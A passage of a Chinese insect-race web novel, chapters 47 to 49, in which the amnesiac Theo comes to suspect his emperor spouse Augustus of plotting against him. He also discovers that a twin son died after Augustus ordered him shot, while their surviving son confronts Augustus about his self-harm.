不,不会的。一定不会的…… 西奥再次打开过去的自己录制的视频。三个月的时间,或许还可以假装。三十年的时间,总不至于吧? 如果,假如,万一……奥古斯特并不像自己以为的那样爱着它,那么,过去的他肯定会有所察觉。 视频很多,西奥一直没看完。但其中关于语言控制的教学部分,他已经反复看了好多遍。顺着这部分,西奥点开了一个紧挨着的视频。 视频里的自己看起来似乎喝了酒,眼神迷离,双颊带了醉酒的酡红,“奥古斯特今天,又弄得满地都是鲜血了,他简直是……” 视频里的西奥看起来很失望,甚至可以说悲伤,“这真的很危险。” “我可以预知未来,但是有一件事情,我一直都搞不清楚,那就是我自己的死亡……” 视频里的西奥眨了一下眼睛,一滴泪水顺着眼角流下,“如果有一天,是奥古斯特杀了我……” “那可一点都不奇怪。” 视频结束了。而西奥后悔自己点开了它。 实验室里一片静默。 就连系统都变得小心翼翼:“那个,宿主……咱们节哀顺变。” “爱情葬了还可以再找,生命可是只有一次啊!” 西奥关掉视频,打开手环,然后拨通了一个虫的通讯。 “闭幕式结束了吗?” “结束了,都挺顺利的。”另一头的弗雷德回应道,“终于可以闲下来了!” “奥古斯特呢,他也有时间了吗?” “好像回办公室了吧,但应该也没什么事。要是有事找他,可以直接打电话。” “你什么时候回家呀?咱们一起吃饭吧!” 最近这段时间,除了昨晚的庆祝,他们三个很少能一起坐在晚餐的餐桌旁。 “我还在做实验,待会就回去。”西奥说,“小弗,我能问你个问题吗?” “你知不知道,我和奥古斯特是怎么在一起的?” “这个……具体我也不清楚。但当时好像是雌父进入发.情期了,而周围刚好只有你一个雄虫。所以就只能选择被你标记了。” 刚好。只能。好残忍、好轻描淡写的字眼。 西奥笑了,“是这样吗?好巧啊。” “是啊!命运就是这么多巧合。您问这个做什么?” “就是有点好奇。”西奥说,“还有,小弗,我爱你。” “我也爱你,木啊!” 通讯挂断了。 原来,对于爱,是可以有正常回应的。至少虫崽就可以。 西奥独自离开了精神力研究院。他一直往西走,离开了高楼林立的市中心,一直走,一直走。走到太阳都落了山,把天边染成一片灿烂的血红。 直到他确认距离应该够了。 然后,给奥古斯特发送了一个本地的定位。确认定位发送成功后,他砸烂了那个手环。 紧接着,把项链含入嘴中,用力咬了下去。 与此同时,摁下了一个计时器。 上次遇袭,虽然没有准确的计量,但是从他咬住项链求救,到最终奥古斯特出现,最多不会超过五分钟。 现在,他主动把定位发了过去。奥古斯特或许在忙。但按照他的说法,使用他的专属星舰,最多,最多,也不应该超过十分钟。 或者,或者十五分钟也有可能。 西奥坐在马路边缘的石块上,盯着计时器上飞速流逝的时间。 二十分钟,二十分钟,也不是不能接受…… 奥古斯特,你倒是快点来啊!!! 作者有话说: 总算写到一点文案了! 第47章 第47章伤痛[VIP] “抱歉, 我当时光顾着看日落,没有注意……” “不小心摔倒,结果手环坏了……” “让你、让你们担心了。抱歉。” “没事就好。你不知道, 雌父他都吓得快疯了……” “小弗!”奥古斯特打断了他的话,然后又对西奥说, “没事就好。” 弗雷德吐了吐舌头, 没再说话。 西奥看着依旧冷静的奥古斯特, 突然意识到为什么雌虫总是没什么表情。或许不是因为喜怒不形于色, 而是没有表情, 就不容易暴露。 “抱歉。”西奥再次说。 那这场奥古斯特急疯了的寻找, 用了多久呢? 西奥在看到星舰的那一刻就已经按停了计时键。上面的时间是一小时零八分二十七秒。 同样的情况, 如果发生在遇袭的那天,西奥早就挂了。 所以,只剩下一种可能。 那是一场为他设的局, 为他演的戏。 在他被捆绑、威胁,差点被一枪射杀的时候, 奥古斯特应该正在附近的某个地方,透过摄像头观看着现场的情况。 所以才能来得那么快。 那时候你在想什么呢?西奥看向旁边的奥古斯特, 是真的想杀了我吗? 奥古斯特注意到了西奥的目光, 回看过来, “怎么了?” “没什么,我在想……”西奥垂下视线,露出一个浅浅的苦涩的笑, “我在想,你肚子里的虫蛋, 还要多久才出生。” “之前不是说过了吗,至少六个月。” 至少六个月。曾经他以为, 他还要度过六个月的美妙时光。现在看来,这六个月,或许是他的保命符。 是生命安全的倒计时。 “那之后呢?还打算再怀一个吗?” “应该不会了。” 那到时候,他是不是就没用了? 这边正说着,弗雷德突然插入,“求求你们,能不能找个房间聊这种事,我还在呢?” “我真的不是很想听到你们讨论怀蛋的讨论。” 奥古斯特难得笑了一下,“走吧,时间已经很晚了。” 但在奥古斯特伸过手来的时候,西奥下意识躲了一下。 又在对方带着些询问的目光看过来时,赶紧解释道:“衣服脏了。别连累你。” 西奥发现,自己实在是个不合格的演员。他的芥蒂和隔阂,总会毫不掩饰地体现在肢体动作和神情上。 跟他相比,奥古斯特大概算得上是奥斯卡级别的演技了吧。 因为这一番折腾,晚饭也草草结束了。 按理说,他们接下来的活动就是治疗室以及信息素。这是他们的固定日常,也曾经是西奥最喜欢的夜间活动。现在…… “抱歉,我今天……不想去治疗室了。”西奥尝试着谈判,“可以吗?” “好。你今天应该也累了。” 奥古斯特对此答应得很痛快,但是西奥又继续说:“信息素,我今天也不太想……” 这次奥古斯特的态度就变得犹豫了些,“需要我用嘴吗?” “不,不是用哪里的问题。我只是……不想做。” 奥古斯特继续提出解决方案,“存货不太够了。你可不可以,把信息素装进试管里呢?” 当那个塑料漏斗和玻璃试管出现在西奥面前的时候,他头一次如此强烈地感受到被物化,仿佛自己只是某种商品,信息素明码标记,公平交易。 就差那么一点点,他就要直接跟奥古斯特对峙了。 “宿主,宿主不要冲动啊……”系统战战兢兢劝阻道。 “你还好吗?”大概是表情不太好,奥古斯特注意到了这点。 “我没事。可能冷风吹太久,有点不舒服。暖和一下、适应一下就好了。” 试管和漏斗放在床头,但是奥古斯特并没有离开,在西奥解开衣服的时候,还试图要帮忙。 这次,没有衣服脏这个借口了。奥古斯特的手,带着温度、和力道,落在了西奥的腿上。 他没有躲开,已经拼尽全力了。 “那个……”但在虫皇试图帮他拉下拉链的时候,西奥还是果断阻止了,“我今天状态不太好。能让我……自己来吗?” 奥古斯特抬头看了西奥几秒钟,最终还是答应了,“好。” “那我先去楼下待一会儿。” 临走之前,奥古斯特又问:“对了,你上午说,有事情要跟我说?” “哦对,那个。”被提醒了,西奥才想起来,“你昨晚好像做梦了。” “梦里,喊了弗雷德的名字。”随口编的理由,反正不会被识破。 “是吗?” 卧室门被轻轻带上。奥古斯特在门外停留了一会儿,但还是选择走开了。 西奥的状态明显不太对,但又一时找不到原因。或许可以问一下研究院那边,调一下监控,看看他今天都去了哪里,做了什么。 至于现在,既然西奥没精力,那奥古斯特决定自己去治疗室满足一下自己。 他真的,喊了阿弗的名字吗?完全不记得了。 他倒是隐约记得做了个梦,但那个梦,多少有些难以启齿。 但就在他驾轻就熟地进入治疗室,打开柜子到熟悉的位置找枪的时候,才发现那里已经空了。 与此同时,冰冷的枪口抵上他的后颈。 “砰!” 奥古斯特僵住了一瞬,然后直起身,缓慢转过去,仿佛那柄对准他的枪口并不存在,然后终于,不怎么理直气壮地面对着方才用嘴开枪的弗雷德。 “你是怎么进来的?” “这门用的是基因锁。我猜只有你和雄父能通过。结果你猜怎么着?我有你俩各自一半的基因。”弗雷德解释道,“我本来就能进来。” 然后弗雷德看了一眼房间内的陈设,“雌父,我觉得你欠我一个解释。” “这里的有些东西,”弗雷德的目光扫过一排排鞭子、皮拍、麻绳、蜡烛和支架,“还可以用情趣爱好来解释。虽然我完全不想知道。” “但有些……”弗雷德掂了掂手里的枪,“是不是有点太危险了?” “雄父认为您那天晚上的缺席,是不负责任的表现。但我知道,如果你没有来,那只能说明你不能来。”弗雷德咬了咬牙,“而且我也是莫德神兵,我知道有些案例,他们会为了缓解心理情况而进行自我伤害。” “小弗……” 奥古斯特试图打断,但是失败了,“所以如果您如实告知,我完全能理解。但是你完全不说,这是不是说明……” “情况已经不受控了?” 弗雷德紧紧盯着奥古斯特的神情,想要从中得到自己的答案。但依旧什么都没有。像是一片平静无风的大海,看不到丝毫波澜。 “我不想让你担心……” “我已经在担心了!”弗雷德有点急了,“我不止是看到了这些,武器,还有刑具一样的东西。我用紫光灯检查过这里,你猜我看到了多少血迹?!几乎遍布整个房间,甚至天花板上都有,你让我怎么想?!” “如果你不是拥有顶尖的精神力,如果你不是莫德神兵,是不是早就死了几十上百次了?!” “雄父知道吗?现在失忆状态下的雄父知道吗?!没有了预知能力,他还能每次及时给你托底吗?是不是有一天,你稍微不小心,我就要在不知不觉中失去你了?!!” “你让我怎么想?我怎么可能不担心,怎么可能不害怕?!” “小弗,我不会有事的……”奥古斯特握住弗雷德的手,试图让虫崽冷静下来,但立刻被狠狠甩开! “你说不会有事,就不会有事吗?你知不知道,你知不知道,哥哥在出事之前,也跟我说过同样的话……” “他说他有点头疼,但是不会有事的,让我好好玩,不要操心他。然后那天在教堂,我正在看着那座几十米高的虫神雕像,然后突然……”弗雷德把枪抵在了自己脑袋上,然后迅速被奥古斯特夺下。 虫皇用力钳住他的手腕,然后直接把虫崽压到了墙壁上,发出砰的一声响! 弗雷德眼中含泪,看向压制住自己的雌父,“突然,我的脑子就好痛,好痛……” “你知道,双胞胎之间是有共感的。那你知道,哥哥临死之前,有多疼吗……” 奥古斯特不知道。 “枪里没有子弹,没有子弹……”弗雷德突然梗了一下,然后像是终于再也承受不住,猛地放声大哭起来,“呜——” 面对突然失声痛哭的弗雷德,奥古斯特先是缓慢松开对他的钳制,把枪扔在一旁,然后小心翼翼地,把哭到抽噎的虫崽小心揽进了怀里。像是小时候那样,轻轻拍着小弗的后背。 好一会儿,弗雷德才终于止住了那场痛哭,在这个过程中,眼里鼻涕全抹到奥古斯特身上了,“你要知道,不光是你失去了弗雷德。” “雄父也失去了他的虫崽,我也失去了自己的哥哥。” “我们都在经历同一场伤痛。您不必孤身一虫。” 奥古斯特抱住懂事的虫崽,“但这不一样。” “不一样,但类似。”弗雷德埋进雌父怀中,脑袋贴近心脏的位置,声音闷闷的,“你试试呢?不试试怎么知道?” “我还从没见您,因为哥哥的事情落过泪。那您的悲伤,都流到哪里去了呢?” “您应该比我更清楚,用刀、用枪,甚至用精神力,所造成的肉.体伤害,从来都是饮鸩止渴。” “说出来呢?只要您说,我就愿意听。”弗雷德抬头,湿亮的黑眼睛看向奥古斯特。像是年幼时那样,充满信任和爱意。 奥古斯特抬起手,轻轻用手指梳理虫崽乱糟糟的发,“我其实……” “你其实……?” “我其实没有你想的那么糟。”奥古斯特嘴角微微上扬,难得带了几分罕见的柔软,“确实,我有用外力转移痛苦的倾向和习惯。” “但你要知道,我现在怀了蛋,所以,保护的本能会非常强烈,阻止了失控的可能。” “而等虫蛋降生,孵化,就会有新的虫崽……” “但那不会是哥哥。”弗雷德说。 “当然。谁也没办法代替弗雷德。但那是个新的生命,我会有了新的……希望。” “又一对双胞胎?”弗雷德问。 “不,不是。”奥古斯特摇摇头,“我做过检测了,是个雄虫。” “但是雄虫,只能自然受孕,而且概率非常低……”弗雷德突然想到了什么,“这不是您怀的第一个蛋?”之前的都被打掉了? “如果是雌虫,一定会继承莫德神兵的基因,这对虫崽来说,太不公平了。” 弗雷德摇摇头,“我从来没有觉得不公平。” “但你也从来没有选择。而作为雌父,我本该让你健康平安,拥有自由被标记也不必担心死亡风险的选择。” 弗雷德低下头,试图品尝雌父这多年来沉淀的愧疚,“我可能……永远不会诞下自己的虫崽。” “我绝对支持这个选择。” 然后,话锋一转,“所以,你打算什么时候告诉雄父,关于哥哥的事情?” 作者有话说: 崽的事情也马上要爆了! 感谢还在看的每一个读者!要不是你们说实话我早跑啦! 第48章 第48章双生[VIP] “弗雷德。” “嗯?”虫崽正在大口干饭, 他很快就要启程离开了。跟萨迦一起,返回第一军团驻扎地。分别的时刻即将到来,西奥才发现, 自己是如此舍不得。 无论他跟奥古斯特之间如何同床异梦,崽到底是亲生的崽。是无辜的。 而且弗雷德之前说过, 离婚的话, 会跟他! “能不能不走啊?” “这个……”弗雷德放下饭碗, “我是第一军团中将, 擅离职守, 按照法律, 是要上军事法庭的。” 虽然西奥没想到军事法庭这点, 但也能大概猜到,虫崽毕竟是军雌,会有很多身不由己。他只是……他只是不想失去自己的虫崽。尤其是这种时刻。 “说起来, 你本来不是想进皇家护卫队吗,怎么最后去了第一军团?”虽然都是军雌, 但这两者,西奥感觉差距还是有点大的。如果是皇家护卫队, 那是不是就可以留在首都了? “护卫队离雌父太近了。如果待在这里, 就会永远活在他的荫蔽之下, 很难成长。我在护卫队待十年得到的历练,可能还不如在军团一年得到的多。” 弗雷德又说,“别看雌父平日里没什么表情, 好像很严厉。但在一些大事上和私底下……还是挺护崽的。” 这一点,西奥倒是相信。奥古斯特或许是个想杀了雄主的雌君, 却也是一个十分合格甚至优秀的雌父。 别的不说,他不是为了虫蛋, 容忍了自己吗? 不。西奥低下头,闭了闭眼睛,想要甩脱这种带着怨念的想法。事情还没有定论,或许,或许…… 但他的或许,连自己都无法说服,更别提其他虫了。 昨晚的辗转反侧里,西奥思考了无数条路,关于未来,关于他自己,以及这段婚姻、这个家庭,到底何去何从。 他的第一反应是要离开。毕竟,在对奥古斯特产生怀疑之后,他已经没办法做到像以前那样,毫无芥蒂地亲近。别的不说,如果不用试管,他甚至可能没办法把信息素装进奥古斯特里面。他会下意识躲闪、回避、犹疑。肯定会被发现异常的。而后果,必然对他更不利。 这一点上,西奥真的很佩服奥古斯特。不管他做了什么,在自己面前,总是演得那么天衣无缝。 又或者,没有天衣无缝。是他被情感短暂地蒙住了双眼。 但如果真要离开,也没那么简单。因为西奥的事业、生活、朋友,还有虫崽,都跟奥古斯特深度绑定了。他的一切都跟奥古斯特相关。 三十多年的共同生活,留下的痕迹可不是一星半点。 金钱、名声、事业,这些西奥虽然舍不得,但并非不可以放弃。但虫崽……弗雷德显然对于他们之间的问题一无所知。而西奥,也并不想用长辈的事情让他烦心。 更何况,奥古斯特肚子里还有一个。 崭新的生命,自己的责任。 想到离婚的结果,必然也要离开那个幼小的还未出生的生命,说不难过、不揪心,是假的。 以前看小说看剧,看到里面夫妻感情破裂,却还为了孩子隐忍不发、勉强维持,只觉得憋屈、不解。结果到了自己身上,还不是一样。 没办法做出决绝的切割,没办法毫无负担的转身离去。没有办法的…… “非要离婚不可吗?不就是奥古斯特曾经想杀了我吗?”这个念头不是没有冒出来。 “宿主!你自己听听这话,对吗?”系统尖叫,简直想抓住他摇晃,看能不能晃干净脑子里的水。 “最后不是没杀吗?而且,他现在应该也没有想杀我。肚子里的虫蛋还需要我呢……”说着说着,西奥自己收声了。 他自己也知道,这些话听起来有多荒诞。 但不论有多难,总归要面对现实。经过一个思绪烦乱的夜晚,西奥终究下定了决心。 他要……他必须要离婚。 而在这之前,他想要知道弗雷德的看法。 于是西奥问,“奥古斯特和我,你更喜欢谁?” 弗雷德停下了夹菜的动作,震惊地转过头看着他,“雄父,你不觉得……我已经过了被问这个问题的年纪了吗?” “那换个问题。假如,我是说假如,我跟奥古斯特分开,分别住在两个星球上,你更愿意跟谁待在一起?” “谢谢,我比较想自己待着。” 虫崽大了,独立自主的同时,也更难看懂了。 弗雷德吃完饭,立刻就要离开。奥古斯特比他还要早些离开家,早饭甚至都不是在餐桌上解决的。 他们一家虫,也只在餐桌旁边能有短暂交集。 “马上就要离开了,”西奥站起身,往前两步,“没有什么想说的吗?” “啊,”弗雷德没有回头,“我只想尽快回到军团,等不及了!” 西奥发出一声不轻不重的叹息,仿佛一只空巢老雄父的悲叹。 弗雷德已经走到了楼梯旁,听到这声音,停留了一下,又转身折返回西奥身边,冲着明显有点低落的雄虫说道,“最喜欢雄父了!” 他对脸上终于展露笑容的雄父低头,轻轻蹭上西奥的脸颊。 “但是如果让我选的话,我会选雌父。” “这跟喜不喜欢没有关系。我知道比起你,他会更需要我。” “走了!”弗雷德挥挥手,离他远去。 虫崽转身,下楼梯,开门,离开了家。 直到弗雷德的身影彻底消失,甚至从二楼的窗户里都没办法看到之后,西奥脸上的笑缓慢消失。 他会失去弗雷德的。 理智上来说,西奥猜到了这个结果。虫皇和精神力研究院院长,谁都知道该怎么选。更何况,如果他真的离开奥古斯特,这个由他任命的职位,能不能保住都说不定。 他会一无所有的。西奥意识到。他会失去一切的。 “我不离婚了。”西奥破罐子破摔地说道。 “宿主你终于决定要干掉反派了?!”系统搓手。 “不。”西奥摇头,“我准备好好过日子。” “宿主你振作一点啊!什么都不做迟早要被杀掉的!”系统尖叫。 “不离婚,我失去的只是命。离婚的话,我就什么都没有了。”西奥说,“再说了,不是还有六个月吗?至少这段时间是安全的。” “什么六个月?”诺亚从楼梯上来,“你在跟谁说话吗?” “没谁。”西奥从诺亚身侧掠过,“我今天自己线上叫飞行器,不需要护卫队接送了。” 诺亚跟着西奥的动作转身,“西奥阁下,您还好吗?” “弗雷德要走了,心情不太好。”西奥的声音从下方传来。 心情不好的原因可不止这一个。 精神力研究院,现如今成了一处安全的避难所,让西奥可以暂时逃离皇宫,逃离奥古斯特身边。在过于纷乱的情绪当中,能够稍稍喘口气。 至于做什么,反而不重要了。反正不工作又不会死。 今天在门口值班的,依旧是克莱恩。不过一天的时间,西奥的心情却完全不同了。昨天他们打招呼的时候,西奥满心想的还是,新年了,应该找时间跟雌君一起出去玩。现在…… “早。”西奥挤出一个体面的微笑。 “院长早!”克莱恩依旧开开心心跟他打招呼,“对了,今天早晨,陛下来过一趟。” “嗯?”这是西奥不知道的事情。他以为奥古斯特匆忙出门,是有什么政务需要处理。居然来过研究院吗? “他来做什么?” “他问我昨天您去了哪儿,还想要研究院的监控。” 西奥没忍住再次叹了口气。换以往他会觉得这是雌君的关心,现在只觉得……控制欲像是颈上的项圈,勒得他有点喘不过气来。 “但我没有给他。” 西奥有些惊讶地抬了抬眉毛,“你没给他?!” “没有啊!”克莱恩理所当然地摇头,“您之前不是说过,如果出现类似的情况,要先问过你吗?” 好像有这么回事,但那次好像只提了办公室里面的。西奥也没想到克莱恩会完全站在自己这边,“你没给他,他没意见吗?”身为虫皇,奥古斯特肯定不喜欢被拒绝。 “我说如果要监控,需要你的签名或者通知。然后跟陛下说,您昨天一整天都在实验室工作。他就没再问了。” 西奥简直不知道该说什么。在他的信任被推翻之后,尤其是对奥古斯特的信任被推了个稀巴烂之后,居然还能在一个门卫这里,得到全然的信任和维护。 不知为何,西奥眼眶都有点湿。 “谢了。这个月奖金加倍。” 但克莱恩只是笑着摇摇头,“院长,我没说过吗?您之前,曾经用预知救过我的性命。高空坠物,是您及时把我推开了。” “是吗?我都不记得了。” “我记得就好。”然后克莱恩表情有点纠结,过了一会儿,像是终于下定了决心,“其实……陛下之前也要过一次监控。那时候您还没说介意这个,就直接给他了。” “是办公室外面直接那啥的那次吗?”这件事情,西奥永生难忘。 克莱恩摇头,“是另一次。就是您上次头部受伤那回。” 是导致失忆的那次事故。“我那次是?” “好像是从楼梯上摔下来受伤了。过了几天,陛下特地派诺亚上将来取走了监控。备份也没留。” 也就是说,所有能说明那天发生了什么的证据,都被奥古斯特拿走、抹除了。 如果那次受伤并不是意外……他也已经失去了查清楚的机会和线索。 系统突然出现,“宿主,赌十个积分,导致你上次失忆的受伤,绝对不简单!” 必输的局,西奥才不跟他赌。 或许是因为昨天已经受过一次强烈的刺激。再次得知奥古斯特可能不止一次想对自己下手的时候,西奥的心里居然没翻起什么波澜。 像是心脏已经被粗长的木桩钉穿了,再深几公分,也没觉得很痛了。 “谢谢你,告诉我这件事。”西奥微笑着跟克莱恩道别。 电梯门缓慢关闭。今天还是假期,没有什么其他虫,这个狭窄密闭的空间内只有西奥一个虫。 他摁下了最高的楼层。电梯缓慢启动,一点点升高。 西奥靠在电梯内墙上,用力吸了一大口气,又迅速吐出。但深呼吸没能让他平静下来,于是呼吸只能愈发急促,愈发剧烈。 呼!呼!!呼!!! 西奥感觉肺部像是两个坏掉的风箱,一直在响。 直到某一瞬间,那种无法呼吸的窒息感,让西奥眼前一黑! “咳呜……”西奥呛咳般哭出了第一声。 然后,眼泪便再也止不住,像是堤坝崩塌,洪水奔涌。 西奥靠着后墙,逐渐滑落着坐到地面,把脸埋进屈起的双膝间,闷闷地大哭了起来。 直到叮地一声,电梯到达。西奥这才赶紧抬起头,狼狈蹭掉所有的泪水,勉强止住奔涌的情绪。 幸好,电梯门打开,外面也没虫。 但就在往自己办公室去的时候,刚转过拐角,就看到一个身影,正在自己办公室门前。 是布里奇,他手里拿着一份文件,似乎已经等他很久了。转过来看到他时,还吓了一跳。 “院长好。”布里奇打招呼道,然后又打量了一下西奥,“您……还好吗?” “我没事,最近有点感冒。”西奥找借口掩饰过去,然后打开办公室的门,把布里奇迎了进去,“找我有什么事吗?” “我听说,几位军团的军官都要陆续启程返回驻地了?” 西奥点头,“应该就是明天。怎么了?” “我……”布里奇犹豫再三,咬了咬嘴唇,“我之前承诺过,会参加您的精神力实验。这一点仍然没变。但是,我的家乡毕竟在遥远的其他星区。一直不回去,我的雌父和雄父,会很担心的……” “所以,我想问问您,能不能给我准许个假期,跟随军团的虫一起回去一趟?” 原来是这事。“实验的事情不需要担心。所以,你是想回到第四军团,诺拉维亚身边?” “不不不,”布里奇头摇得像拨浪鼓,“我从诺拉维亚上将身边离开时,就已经彻底得罪了他,可不敢回去。我是想问问您,可以不可以让我跟随第一军团长萨迦,离开首都星呢?” 西奥一愣,然后回想起来,当初把布里奇从诺拉维亚身边救出来的雌虫,就是萨迦。难道他们是发生了点什么吗? 西奥委婉提醒道:“据我所知,萨迦可是有很多个雄主,你还是再考虑一下?”他其实挺喜欢萨迦,但是有自己这个前车之鉴,他实在很难相信位高权重军雌的真心了。 “不不不!”布里奇再次摇头,“我知道自己只是个平民,怎么敢肖想萨迦上将。我只是希望,借助他的庇护,能安全离开首都星,然后再从K星区中转。” 那就好。西奥点点头,“需要我做什么?” “批准一下假期,然后,询问一下萨迦上将?” 反正也不知道他这个院长还能做多久,能帮一个是一个吧。西奥当场跟萨迦说了这件事。对方倒也没含糊,只是个小忙,爽快地答应了下来。 等布里奇离开了办公室,西奥脸上的笑再次消失了。 他能帮得了布里奇,谁又能来帮他呢? 意识到在办公室里闷着,只会迎来再次的崩溃。西奥决定出门溜达,呼吸点新鲜空气。 但也没离开研究院。三楼有一处露天的观景平台,有一些桌椅可供休息,景色也不错。西奥便想在这里讨个清净。 但没一会儿,这份清净就被打破了。两三个虫推着一辆婴儿车,说说笑笑步入了这片平台。 婴儿车在虫族还挺少见的,更别提还是两辆连体的婴儿车。推车的那个雌虫西奥认识,是哈里斯,精神力武器科的。 “这是你的崽?”西奥忍不住上前跟他打了招呼,然后弯腰看向推车里两个超可爱的虫崽。 “院长也在啊?”哈里斯有点惊讶,但也大大方方的介绍起来,“对,是我家的崽。” “大的这个叫阿里,小的这个叫巴巴,都是雌虫。” “好可爱啊……”就是名字有点占便宜,巴巴,爸爸?但是西奥当然不会没礼貌地指出来,“虫崽的雄父是谁啊?没听你提起过。” “啊,他们没有雄父。我也不是把他们生出来的雌父。这是我从系统里面领养的虫蛋孵出来的。” “领养还能刚好领到双胞胎,真幸运。” “没有啦!因为他们是经过了基因修改的虫蛋,莫德神兵都是双胞胎的!” 西奥僵住了,“什么?” “你刚才说,莫德神兵的虫崽……” “都是双胞胎?” 作者有话说: 接连的打击,西奥有点受不住了…… 一直努力更新的作者也一样! 第49章 第49章调查[VIP] “院长, 您听我解释……” “您确实有两个虫崽,是双胞胎雌虫。哥哥叫弗雷德,弟弟叫弗莱特。” “但弗莱特已经在三年前, 死于托亚扪能源中心的一场爆炸事故。” “并不是故意瞒着您。是陛下说,担心你的身体状况, 才嘱咐我们暂且不要告诉您……” 西奥已经不记得, 自己是怎么回到办公室的了。 他记得他回来的第一件事情, 就是打开电脑, 翻找出之前虫崽的视频。他把进度条往前拖了一小段。 视频中, 奥古斯特正温柔地看向自己的虫崽, “谁跟你说, 莫德生来就是神兵的?” “萨迦叔叔说的。他还说……”然后,虫崽就被镜头外的什么东西吸引了注意力,他拍了拍奥古斯特的小臂, “雌父放我下来吧。我要……” 西奥上次就是看到这里,然后停住了。 这次他终于听清楚了虫崽的这句话。 弗雷德说:“我要去找弟弟玩了!” 穿着迷你军装的弗雷德很快被放下, 他迈着小短腿朝远处跑了几步,镜头也晃动着跟随, 还能听到自己的笑声。 然后, 虫崽一把扑进另一个一模一样的可爱虫崽怀里。弟弟弗莱特咯咯笑着, 穿着一件橙黄和浅绿配色的连体衣,脸上也不知为何多了几道彩。 “哥哥!画!”等他举起背后的画纸和彩笔,西奥才知道原因。原来是画画的时候画到脸上了。 “阿福的梦想是加入皇家护卫队, 那小弗想做什么呢?”西奥听到自己问。 举着画纸的崽崽兴高采烈宣布,“我要当艺术家!” “画画!画很多好看的画!” 弗莱特指着画纸上的一排小人, “这是雄父,这是雌父, 这是哥哥……” 西奥停住视频,往回拖了几秒钟。反复确认,对于弗莱特的称呼确实是小弗。 但他们好像一直叫弗雷德小弗。而且弗雷德现在还喜欢画画。 是因为失去了弟弟,于是活成了两个虫的综合体吗? 视频还没结束。但西奥已经没办法继续看下去。 泪水模糊了他的视线。之前的一切怪异都有了答案。 为什么三楼的房间会有两个,为什么他总觉得虫崽应该更加严肃一点。 因为本来就是两个虫崽。 他终于得到了真相。但很残忍的是,那是一个洞,一个巨大的名为死亡的空洞。 哪怕失去了记忆,西奥依旧被这份失去虫崽的悲痛压得喘不过气,哭不出声。 办公室内,这份近乎凝固的沉默持续了许久。 良久,西奥才缓慢得、一字一句地说:“弗莱特的死,跟奥古斯特脱不了干系。” 他的声音沙哑,气息也不怎么足。在办公桌前弓着身子,双手紧紧扣在一起,已经掐出了一排带血的指甲印。 黑了的显示屏映照出他的模样,银发乱糟糟的贴在鬓角,鼻头泛着红,眼眶含着泪,因为长时间用嘴呼吸,唇上已经起了一层泛白的死皮。 雄虫早已没了往日的精致漂亮,只剩一片狼狈和悲伤,甚至隐隐透出一丝危险。 “这个……”系统都变得小心翼翼,“宿主,您并没有任何证据啊……” “如果弗莱特的死跟他没关系,为什么要给尽心思隐瞒呢?” “难道他身为虫皇,还处理不了一次三年前的普通事故吗?” 系统没有回答。 “宿主,节哀顺便吧。” 哪怕已经被悲伤浸透,西奥还是强迫自己动起来。起身,离开办公桌,去休息室里用冷水洗了把脸。 然后开始寻找证据。 正如他所料,无论是电脑上,还是自己的手环上,都搜不到太多详细的关于托亚扪事件的资料。讨论更是一点没有。 像是舆论被下了禁止令,所有虫都静悄悄绕过那头房间内的大象。 最多只有时间,是三年前的12月20号,在托亚扪能源中心发生了爆炸,皇家护卫队处置得当,最终造成了一虫伤亡。 12月20号。在看到这个准确时间的时候,西奥的呼吸再次屏住了。这天是……崽的生日。 难怪弗雷德那天反应那么大,是因为……这天同样是他弟弟的忌日。 西奥再次使用备用手环查看,论坛里有写隐晦的讨论,但真假很难辨别。 有一条没什么热度的帖子,说托亚扪事件背后会不会有阴谋,是不是为了掩盖什么罪行的借口。毕竟,爆炸可以把所有的证据销毁干净。 西奥的目光在上面停留了几秒钟,又很快滑过去了。 线上的信息可以删除、拦截、隐藏。但事情只要发生了,就一定会留下痕迹。 西奥再次对自己办公室内的文件进行搜索。 西奥这次终于注意到了,原来自己做那些双胞胎相关的研究,不是因为这些例子特殊,而是因为那就是自己的虫崽。他想了解他们,更好地理解他们。 但除此之外,仍然没有太多收获,甚至连莫德神兵的记载都几乎没有。 这显然很不正常,这说明……办公室里被打扫过了。 至于是谁,西奥根本不用猜。 下一个寻找的地方,是研究院的资料室。西奥一头扎进纸堆里,从纷乱的资料里寻找想要的线索。 这里倒是有了不少莫德神兵相关的资料。但可惜,托亚扪事件的东西,依旧很少。 文件铺满了长桌,又萨满了地面。满目都是一片片的白。 西奥坐在当中,感到一片茫然。 他再次直面了权力的力量,对于信息的封锁,对于事实的扭曲。 但这趟搜寻,并非一无所获。很多文件里面,都提到了一个地方,灰铁建筑群。在这个建筑里,存放了许多相关的机密文件。 而他恰好知道,灰铁建筑群的使用权在谁手里。 卡利尼琴科公爵。 不过,西奥还不至于直接找上公爵,问对方能不能看资料。他想了想,给列表一个虫发了消息。 一个小时后,西奥来到了其中一个灰铁建筑群的资料室外。 厚重的铁门被打开,明亮的顶灯依次亮起,照亮了一排又一排整齐冰冷的文件柜。 西奥看向旁边为自己开门的瓦伦蒂亚,“谢谢。” “不会给你带来什么麻烦吧?” 瓦伦蒂亚摇摇头,仿佛只是邀请一个朋友到家里坐坐,“只要你不把东西带走,就没事。” “公爵他……知情吗?” “放心。祖父那边,我来处理。不会有问题的。”瓦伦蒂亚向后退了一步,做出一个邀请进入的姿势,“而且,我也不是无偿帮忙的。” “将来,用到您的时候,肯定会把这个好处收回来的。” 话说得滴水不漏,但帮了大忙也是真的。西奥再次真诚道谢:“不管怎么说,谢谢你了。” 灰铁资料室里的文件是按照时间分类的,西奥很快就找到了自己想要的东西。但即便是这里,关于托亚扪事件的文档也非常少。只有薄薄的一个文件袋。 在打开之前,西奥的手顿住了。 是他亲口说的,觉得这件事跟奥古斯特有干系。但当答案马上就要揭晓时,他又感到一阵胆怯。 如果弗莱特的死亡,真的跟奥古斯特有关,怎么办? 他这才意识到,哪怕他斩钉截铁,却依旧无比希望,这只是一场普通的事故。奥古斯特依旧是个完美的雌父,他们只是在一场事故中失去了一个虫崽,为了怕他伤心,所以才一直瞒着他。 有一瞬间,西奥觉得他甚至可以原谅、不在意奥古斯特对他下手的事情,只要……只要他还爱着自己的虫崽。 文件袋被打开。里面有几份薄薄的文档。上面有些名字已经被遮盖掉了。但还是能看出不少信息。 其中最关键的一条是: 虫皇奥古斯特下令将其击毙。 下令、将、击毙…… 西奥突然觉得看不懂那几个字的意思了。他觉得头有点晕,不得不扶了一把旁边的文件柜, 报告显示,奥古斯特似乎是为了避免更多爆炸,才下达了击毙命令。 但在简报旁边,还有用便签标注的几行小字:流程不标准,没有执行谈判环节。击毙命令是否充分? 不排除政治报复的可能性。 